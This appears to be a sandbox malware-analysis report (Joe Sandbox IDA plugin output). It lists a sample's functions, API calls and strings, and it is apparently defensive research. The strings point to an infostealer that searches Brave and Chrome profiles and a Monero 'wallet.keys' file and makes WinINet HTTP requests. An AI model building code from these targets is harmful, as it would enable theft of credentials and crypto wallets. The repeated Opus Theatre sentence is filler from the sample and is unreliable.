The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008746CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008746C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00874713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008745DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00874662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00874622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0087466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00874765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008746B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00874734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008745F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0087474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0087477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008745E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00874657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00874729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0087471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0087473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00874770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00874617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00874678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0087475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00874683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008745D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0087462D

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 77a91135febb768ed3dfadfe48329bbc0a34087f68b37bda934ac204f107bdda
Instruction ID: 3d7e8163c04b96ce5f36020451dc6353ddd0311f3dbd5adcabe6e3f241f53d44
Opcode Fuzzy Hash: 77a91135febb768ed3dfadfe48329bbc0a34087f68b37bda934ac204f107bdda
Instruction Fuzzy Hash: 754105607CBB047BCA35F7A4A86EDDDB65AFF52F04F945040AC28D23C0DBA555824A35

Function 0087BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Part of subcall function 0088A920: lstrcpy.KERNEL32(00000000,?), ref: 0088A972
Part of subcall function 0088A920: lstrcat.KERNEL32(00000000), ref: 0088A982

Part of subcall function 0088A9B0: lstrlen.KERNEL32(?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 0088A9C5
Part of subcall function 0088A9B0: lstrcpy.KERNEL32(00000000), ref: 0088AA04
Part of subcall function 0088A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0088AA12

Part of subcall function 0088A8A0: lstrcpy.KERNEL32(?,00890E17), ref: 0088A905

FindFirstFileA.KERNEL32(00000000,?,00890B32,00890B2B,00000000,?,?,?,008913F4,00890B2A), ref: 0087BEF5
StrCmpCA.SHLWAPI(?,008913F8), ref: 0087BF4D
StrCmpCA.SHLWAPI(?,008913FC), ref: 0087BF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 0087C7BF
FindClose.KERNEL32(000000FF), ref: 0087C7D1

Strings

\Brave\Preferences, xrefs: 0087C1DB
Google Chrome, xrefs: 0087C634
Brave, xrefs: 0087C102
Preferences, xrefs: 0087C11E

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: d21db2752b10b794862f8101db16f53d0afa6eeb09a216ee8f899191bcbeb09a
Instruction ID: 24406ed0716e7a46240d73b92e6d50909f5c6c94d92a85a14dafbfec36c09285
Opcode Fuzzy Hash: d21db2752b10b794862f8101db16f53d0afa6eeb09a216ee8f899191bcbeb09a
Instruction Fuzzy Hash: 7F4253729101049BDB18FBA8DD96EED7339FB54300F408569F50AD61D1EE38AB49CBA3

Function 6CA935A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CB1F688,00001000), ref: 6CA935D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA935E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CA935FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA9363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA9369F
__aulldiv.LIBCMT ref: 6CA936E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CA93773
EnterCriticalSection.KERNEL32(6CB1F688), ref: 6CA9377E
LeaveCriticalSection.KERNEL32(6CB1F688), ref: 6CA937BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CA937C4
EnterCriticalSection.KERNEL32(6CB1F688), ref: 6CA937CB
LeaveCriticalSection.KERNEL32(6CB1F688), ref: 6CA93801
__aulldiv.LIBCMT ref: 6CA93883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CA93902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CA93918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CA9394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6CA935DB
AuthcAMDenti, xrefs: 6CA93946
QPC, xrefs: 6CA938FC
GenuntelineI, xrefs: 6CA93639
GTC, xrefs: 6CA93912

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 05407ea7460b15f35a20ad068ab08dec451bbaafbff7424e122d1bd211be0d87
Instruction ID: 97eb3e2b191861ee76324ef4e83ad2cfb36f3c19f71890ac9c8b3d6dc47070c5
Opcode Fuzzy Hash: 05407ea7460b15f35a20ad068ab08dec451bbaafbff7424e122d1bd211be0d87
Instruction Fuzzy Hash: 82B1F6B1B193509FDB08DF28C85A65ABBF5FB8A704F04892EE8D9D3B50D7709940CB81

Function 00884910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0088492C
FindFirstFileA.KERNEL32(?,?), ref: 00884943
StrCmpCA.SHLWAPI(?,00890FDC), ref: 00884971
StrCmpCA.SHLWAPI(?,00890FE0), ref: 00884987
FindNextFileA.KERNEL32(000000FF,?), ref: 00884B7D
FindClose.KERNEL32(000000FF), ref: 00884B92

Strings

%s\%s, xrefs: 008849A4
%s\%s, xrefs: 008849FB
%s\*, xrefs: 00884920

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: c5b83d6a43ea253fb4206d66f990b313ad3e508dc419db78873aaea80f461f39
Instruction ID: e835f51a657bcaa06778653c4766ddb5e24d115cf307b686ad4a03af636787ae
Opcode Fuzzy Hash: c5b83d6a43ea253fb4206d66f990b313ad3e508dc419db78873aaea80f461f39
Instruction Fuzzy Hash: 866135B2900219ABCB24FBE4DC45EEA777CFB58700F048688E509D6151EF75DB858F91

Function 00874880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0088A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0088A7E6

Part of subcall function 008747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00874839
Part of subcall function 008747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00874849

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00874915
StrCmpCA.SHLWAPI(?,010FEB98), ref: 0087493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00874ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00890DDB,00000000,?,?,00000000,?,",00000000,?,010FEB08), ref: 00874DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00874E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00874E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00874E49
InternetCloseHandle.WININET(00000000), ref: 00874EAD
InternetCloseHandle.WININET(00000000), ref: 00874EC5
HttpOpenRequestA.WININET(00000000,010FEBD8,?,010FE570,00000000,00000000,00400100,00000000), ref: 00874B15

Part of subcall function 0088A9B0: lstrlen.KERNEL32(?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 0088A9C5
Part of subcall function 0088A9B0: lstrcpy.KERNEL32(00000000), ref: 0088AA04
Part of subcall function 0088A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0088AA12

Part of subcall function 0088A8A0: lstrcpy.KERNEL32(?,00890E17), ref: 0088A905

Part of subcall function 0088A920: lstrcpy.KERNEL32(00000000,?), ref: 0088A972
Part of subcall function 0088A920: lstrcat.KERNEL32(00000000), ref: 0088A982

InternetCloseHandle.WININET(00000000), ref: 00874ECF

Strings

------, xrefs: 00874B28
------, xrefs: 00874C69
------, xrefs: 008749BD
", xrefs: 00874BF2
", xrefs: 00874D33

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 70762bdf987e62e722a2731f5083ec70654e650f659d384657a6db5214d2ac3c
Instruction ID: 09b83be20466bbf8002e563bf4d2cc626db68f731fc69775857941e3ef92df17
Opcode Fuzzy Hash: 70762bdf987e62e722a2731f5083ec70654e650f659d384657a6db5214d2ac3c
Instruction Fuzzy Hash: 6712DB71910118AAEB19FB94DD92FEEB738FF14300F5041AAB116A24D1DF742B4ACB63

Function 00883EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00883EC3
FindFirstFileA.KERNEL32(?,?), ref: 00883EDA
StrCmpCA.SHLWAPI(?,00890FAC), ref: 00883F08
StrCmpCA.SHLWAPI(?,00890FB0), ref: 00883F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0088406C
FindClose.KERNEL32(000000FF), ref: 00884081

Strings

%s\%s, xrefs: 00883EB7

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
